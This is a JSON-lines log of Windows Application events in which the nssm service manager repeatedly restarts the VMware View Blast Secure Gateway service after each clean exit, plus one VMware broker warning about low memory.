{"@timestamp":1646827715472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166594}}
{"@timestamp":1646827715472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166595}}
{"@timestamp":1646827715473,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166596}}
{"@timestamp":1646827844108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166597}}
{"@timestamp":1646827844108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166598}}
{"@timestamp":1646827844109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163204","0"]}}},"module":"Application","provider":"nssm","sequence":166599}}
{"@timestamp":1646827844111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163204","163204","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166600}}
{"@timestamp":1646827844128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166601}}
{"@timestamp":1646827844128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166602}}
{"@timestamp":1646827844129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166603}}
{"@timestamp":1646827844130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166604}}
{"@timestamp":1646827972618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166605}}
{"@timestamp":1646827972619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166606}}
{"@timestamp":1646827972620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163176","0"]}}},"module":"Application","provider":"nssm","sequence":166607}}
{"@timestamp":1646827972620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163176","163176","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166608}}
{"@timestamp":1646827972638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166609}}
{"@timestamp":1646827972639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166610}}
{"@timestamp":1646827972639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166611}}
{"@timestamp":1646827972640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166612}}
{"@timestamp":1646828101115,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166613}}
{"@timestamp":1646828101116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166614}}
{"@timestamp":1646828101116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163472","0"]}}},"module":"Application","provider":"nssm","sequence":166615}}
{"@timestamp":1646828101118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163472","163472","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166616}}
{"@timestamp":1646828101140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166617}}
{"@timestamp":1646828101141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166618}}
{"@timestamp":1646828101142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166619}}
{"@timestamp":1646828101144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166620}}
{"@timestamp":1646828229648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166621}}
{"@timestamp":1646828229649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166622}}
{"@timestamp":1646828229650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162392","0"]}}},"module":"Application","provider":"nssm","sequence":166623}}
{"@timestamp":1646828229650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162392","162392","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166624}}
{"@timestamp":1646828229667,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166625}}
{"@timestamp":1646828229668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166626}}
{"@timestamp":1646828229668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166627}}
{"@timestamp":1646828229669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166628}}
{"@timestamp":1646828358170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166629}}
{"@timestamp":1646828358171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166630}}
{"@timestamp":1646828358174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163620","0"]}}},"module":"Application","provider":"nssm","sequence":166631}}
{"@timestamp":1646828358175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163620","163620","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166632}}
{"@timestamp":1646828358191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166633}}
{"@timestamp":1646828358192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166634}}
{"@timestamp":1646828358192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166635}}
{"@timestamp":1646828358193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166636}}
{"@timestamp":1646828384580,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Mar 09 13:19:44 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":166637}}
{"@timestamp":1646828486739,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166638}}
{"@timestamp":1646828486740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166639}}
{"@timestamp":1646828486740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162600","0"]}}},"module":"Application","provider":"nssm","sequence":166640}}
{"@timestamp":1646828486741,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162600","162600","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166641}}
{"@timestamp":1646828486757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166642}}
{"@timestamp":1646828486758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166643}}
{"@timestamp":1646828486758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166644}}
{"@timestamp":1646828486759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166645}}
{"@timestamp":1646828615254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166646}}
{"@timestamp":1646828615255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166647}}
{"@timestamp":1646828615258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162872","0"]}}},"module":"Application","provider":"nssm","sequence":166648}}
{"@timestamp":1646828615259,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162872","162872","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166649}}
{"@timestamp":1646828615275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166650}}
{"@timestamp":1646828615276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166651}}
{"@timestamp":1646828615276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166652}}
{"@timestamp":1646828615277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166653}}
{"@timestamp":1646828743771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166654}}
{"@timestamp":1646828743772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166655}}
{"@timestamp":1646828743773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163084","0"]}}},"module":"Application","provider":"nssm","sequence":166656}}
{"@timestamp":1646828743773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163084","163084","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166657}}
{"@timestamp":1646828743791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166658}}
{"@timestamp":1646828743791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166659}}
{"@timestamp":1646828743792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166660}}
{"@timestamp":1646828743793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166661}}
{"@timestamp":1646828872292,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166662}}
{"@timestamp":1646828872294,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166663}}
{"@timestamp":1646828872294,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159316","0"]}}},"module":"Application","provider":"nssm","sequence":166664}}
{"@timestamp":1646828872295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159316","159316","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166665}}
{"@timestamp":1646828872311,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166666}}
{"@timestamp":1646828872312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166667}}
{"@timestamp":1646828872312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166668}}
{"@timestamp":1646828872313,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166669}}
{"@timestamp":1646829000785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166670}}
{"@timestamp":1646829000786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166671}}
{"@timestamp":1646829000787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163808","0"]}}},"module":"Application","provider":"nssm","sequence":166672}}
{"@timestamp":1646829000788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163808","163808","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166673}}
{"@timestamp":1646829000805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166674}}
{"@timestamp":1646829000805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166675}}
{"@timestamp":1646829000806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166676}}
{"@timestamp":1646829000806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166677}}
{"@timestamp":1646829129289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166678}}
{"@timestamp":1646829129290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166679}}
{"@timestamp":1646829129290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163760","0"]}}},"module":"Application","provider":"nssm","sequence":166680}}
{"@timestamp":1646829129292,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163760","163760","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166681}}
{"@timestamp":1646829129309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166682}}
{"@timestamp":1646829129310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166683}}
{"@timestamp":1646829129310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166684}}
{"@timestamp":1646829129311,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166685}}
{"@timestamp":1646829257832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166686}}
{"@timestamp":1646829257834,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166687}}
{"@timestamp":1646829257835,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159980","0"]}}},"module":"Application","provider":"nssm","sequence":166688}}
{"@timestamp":1646829257836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159980","159980","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166689}}
{"@timestamp":1646829257853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166690}}
{"@timestamp":1646829257854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166691}}
{"@timestamp":1646829257854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166692}}
{"@timestamp":1646829257855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166693}}
{"@timestamp":1646829386334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166694}}
{"@timestamp":1646829386336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166695}}
{"@timestamp":1646829386337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163312","0"]}}},"module":"Application","provider":"nssm","sequence":166696}}
{"@timestamp":1646829386337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163312","163312","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166697}}
